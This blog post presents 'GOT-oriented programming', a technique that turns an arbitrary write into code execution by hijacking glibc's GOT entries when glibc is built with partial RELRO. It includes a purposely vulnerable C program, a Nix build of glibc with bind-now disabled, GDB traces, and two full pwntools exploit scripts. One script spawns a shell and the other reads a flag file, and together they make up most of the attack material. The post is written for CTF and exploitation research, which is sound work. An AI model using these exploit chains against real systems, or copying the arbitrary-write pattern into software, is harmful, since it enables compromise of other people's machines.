Back Original

GOT-Oriented Programming

The other day I was working on a pwn challenge and I noticed something interesting: its version of libc had partial RELRO enabled. To redirect control flow I tried overwriting one of libc’s GOT entries with a one_gadget, but I didn’t have enough register control to pop a shell. That got me thinking: what if we could use libc’s GOT as a sort of jump table? This is a technique (itself a specific kind of JOP) I’d like to dub “GOT-oriented programming” (GOP).

The GOT overwrite attack is as old as time memoriam; clobber a GOT/PLT entry and redirect execution of a particular function to an attacker controlled address. Developers have wised up since then and realized the cons of lazy binding GOT entries far outweigh the pros, so an option called full RELRO (-z,now) was implemented which disables lazy binding and makes the GOT read-only.1 Although you usually hear about the GOT in the context of a binary dynamically linked against glibc, glibc has its own GOT to determine at runtime the most efficient version of a function that the hardware supports (stuff like AVX optimized memcpy). Because these optimized functions are somewhat common (otherwise, why bother optimizing them), there are many gadgets in libc that setup registers for a function call and then perform an indirect jump to a GOT entry. In practice, it only takes a few of these “GOP gadgets” to achieve nearly full register control, and from there it’s trivial to get a shell.

To be specific, the requirements for GOP are

  1. Libc compiled with partial (or no) RELRO (for Ubuntu, this is glibc < 2.39)
  2. Libc leak to defeat ASLR (if applicable)
  3. (Semi-)arbitrary write that can target libc’s GOT
  4. A function in libc’s .got.plt needs to be called at some point after the corruption takes place in order to start the GOP chain

I’ve found this to be an interesting way to pivot an arbitrary write to code execution, even if it’s not as fancy as techniques like setcontext, FSOP, or _dini_handler. I’ll demonstrate the power of this technique with a simplified example using glibc 2.432 (compiled with --disable-bind-now):

C pwnable.c

#include <stdint.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main() {
    setbuf(stdout, NULL);
    printf("puts() @ %p\n", &puts);

    while (true) {
        uint64_t data = 0;
        size_t address;
        printf("write: ");
        read(0, &data, 8);
        if (!strncmp("cancel", (void*)&data, 7)) break;
        printf("where: ");
        read(0, &address, 8);
        *(uint64_t*)address = data;
    }

    return 0;
}

Nix flake.nix

{
  description = ''the best part was when he said "IT'S GOPPIN' TIME" and gopped all over those guys'';

  inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";

  outputs = { nixpkgs, ... }:
    let
      system = "x86_64-linux";
      lib = nixpkgs.lib;
      pkgs = import nixpkgs { inherit system; };
    in
      {
        packages.${system}.default = with pkgs; let
          glibc' = stdenv.mkDerivation rec {
            pname = "glibc";
            version = "2.43";

            src = fetchurl {
              url = "mirror://gnu/glibc/glibc-${version}.tar.xz";
              hash = "sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE=";
            };

            nativeBuildInputs = [
              bison
              python3Minimal
            ];

            NIX_NO_SELF_RPATH = true;

            preConfigure = ''
              mkdir build; cd build
              configureScript="$(pwd)/../configure"

              export NIX_DONT_SET_RPATH=1
            '';

            configureFlags = [
              (lib.enableFeature false "bind-now")
              (lib.enableFeature true "cet")
            ];

            hardeningDisable = [
              "fortify"
              "bindnow"
            ];
          };
          gcc' = wrapCCWith {
            cc = gcc-unwrapped;
            libc = glibc';
            bintools = binutils.override { libc = glibc'; };
          };
          stdenv' = overrideCC stdenv gcc';
        in
          stdenv'.mkDerivation {
            name = "pwnable";
            src = ./.;

            env = {
              NIX_CFLAGS_COMPILE = "-fcf-protection=full";
              NIX_LDFLAGS = "-z cet-report=error";
            };

            buildPhase = "$CC pwnable.c -o pwnable";
            installPhase = "mv pwnable $out";
          };
      };
}

To start, we should investigate what functions are in glibc’s GOT:

Next, let’s investigate which of the above functions are called throughout the program. Nothing is called as part of glibc’s exit routine, but what about in the core loop?

GDB
start
# first printf
tb *main+148
c
record btrace
set record btrace bts buffer-size unlimited
# second printf
tb *main+94
c
set record function-call-history-size unlimited
record function-call-history /c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
main
  __printf_chk@plt
    __printf_chk
      __vfprintf_internal
        __printf_buffer_to_file_init
          __printf_buffer_to_file_switch
      __vfprintf_internal
        __printf_buffer
          *ABS*+0xb0140@plt
            __strchrnul_avx2_rtm
        __printf_buffer
          __printf_buffer_write
            *ABS*+0xae6a0@plt
              __memmove_avx_unaligned_erms_rtm
          __printf_buffer_write
        __printf_buffer
      __vfprintf_internal
        __printf_buffer_to_file_done
          __printf_buffer_flush_to_file
            __GI__IO_file_xsputn
              __GI__IO_file_overflow
                __GI__IO_do_write
            __GI__IO_file_xsputn
              new_do_write
                _IO_file_write@@GLIBC_2.2.5
                  write
                    __syscall_cancel
                      __internal_syscall_cancel
                    __syscall_cancel
                  write
                _IO_file_write@@GLIBC_2.2.5
              new_do_write
            __GI__IO_file_xsputn
          __printf_buffer_flush_to_file
            __printf_buffer_to_file_switch
        __printf_buffer_to_file_done
          __printf_buffer_done
      __vfprintf_internal
    __printf_chk
main
  read@plt
    read
      __syscall_cancel
        __internal_syscall_cancel
      __syscall_cancel
    read
main
  strcmp@plt
    __strcmp_avx2_rtm
main

Aha! printf ends up calling strchrnul and memcpy through their .got.plt entries, which we can hijack!3 Note that the functions read@plt and strcmp@plt are entries in our program’s GOT, not libc’s.

Now, given the completely arbitrary write and libc leak there are a myriad of ways to achieve code execution, but let’s try some GOP. To up the ante, I will only consider gadgets that start at the beginning of functions so our exploit will work even if IBT is enabled.4

We have very limited stack control and absolutely no register control when either of strchrnul or memcpy are called, so we need a gadget that can read the contents of writable libc memory into a register. After some searching I came across this guy:

ASM
__error_at_line_internal:
    // ...
    mov     rax, qword [rel error_one_per_line]
    mov     dword [rbp-0x44 {var_4c}], edi
    mov     eax, dword [rax]
    test    eax, eax
    je      label1
label1:
    cmp     dword [rel old_line_number.0], ecx
    je      label2
label2:
    mov     rdi, qword [rel old_file_name.1]
    cmp     rdi, rdx
    je      bad
    test    rdx, rdx
    je      bad
    test    rdi, rdi
    je      bad
    mov     rsi, rdx
    call    j___GI_strcmp
bad:
    // ...

There’s a lot of unrelated stuff going on, but the general idea is that rdi is set to the value of a variable in libc’s .bss section (old_file_name) before jumping to a .got.plt function (strcmp). The conditions we need to meet for this codepath are

  1. error_one_per_line != 0
  2. old_line_number == ecx (here ecx is 2)
  3. old_file_name != rdx && old_file_name != 0 && rdx != 0 (the first two conditions are trivial because we want to control old_file_name anyway, and rdx happens to be nonzero)

Let’s try it:

Python
from pwn import *

context.log_level = 'warning'

elf = context.binary = ELF("pwnable")
libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")

def write(data, location):
    p.sendafter(b"write: ", data)
    p.sendafter(b"where: ", p64(location))

p = remote("localhost", 1337)

p.recvuntil(b"puts() @ ")
libc.address = int(p.recvline(), 16) - libc.sym.puts

write(p8(1), libc.sym.error_one_per_line)
write(p8(2), libc.sym.old_line_number['0'])
write(p64(next(libc.search(b"/bin/sh\x00"))), libc.sym.old_file_name['1'])

write(p64(libc.sym.system), libc.got["__GI_strcmp"])
write(p64(libc.sym.__error_at_line_internal), libc.got["__GI___strchrnul"])

p.sendline(b"id")
print(p.recvline())
b'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'

But that’s a very short chain… what if we needed to cat the flag without a shell? Here’s a (likely overcomplicated) GOP chain used to print the contents of "/tmp/flag.txt" and then cleanly exit the program:

Python
from pwn import *

context.log_level = 'warning'

elf = context.binary = ELF("pwnable")
libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")

def write(data, location):
    p.sendafter(b"write: ", data)
    p.sendafter(b"where: ", p64(location))

p = remote("localhost", 1337)

p.recvuntil(b"puts() @ ")
libc.address = int(p.recvline(), 16) - libc.sym.puts

write(p8(1), libc.sym.error_one_per_line)
write(p8(2), libc.sym.old_line_number['0'])
write(b"/tmp/flag.txt\x00"[:8], libc.sym.tmpnam_buffer)
write(b"/tmp/flag.txt\x00"[8:], libc.sym.tmpnam_buffer+8)
write(p64(libc.sym.tmpnam_buffer), libc.sym.old_file_name['1'])
write(p64(libc.sym.__libc_procutils_read_file), libc.got["__GI_strcmp"])

write(p64(libc.sym.explicit_bzero), libc.got["__GI_memchr"])
write(p64(libc.sym.puts), libc.got["__GI_memset"])

write(p64(libc.sym._exit), libc.got["__GI___strnlen"])
write(p64(libc.sym.__error_at_line_internal), libc.got["__GI_strpbrk"])
write(p64(libc.sym.__nss_valid_field), libc.got["__GI_strchr"])
write(p64(libc.sym.putenv), libc.got["__GI___strchrnul"])

p.recvline()
print(p.recvline())

Clearly this is a very versatile technique!

As I said, you’re unlikely to find a modern version of glibc compiled with partial RELRO in the wild, but hopefully this can serve as a tool for more contrived situations like CTFs. I also wanted to mention related works by n132 and pepsipu; although these are not quite the same thing as GOP, they are still interesting (and perhaps more practical) examples of pivoting an arbitrary write into code execution.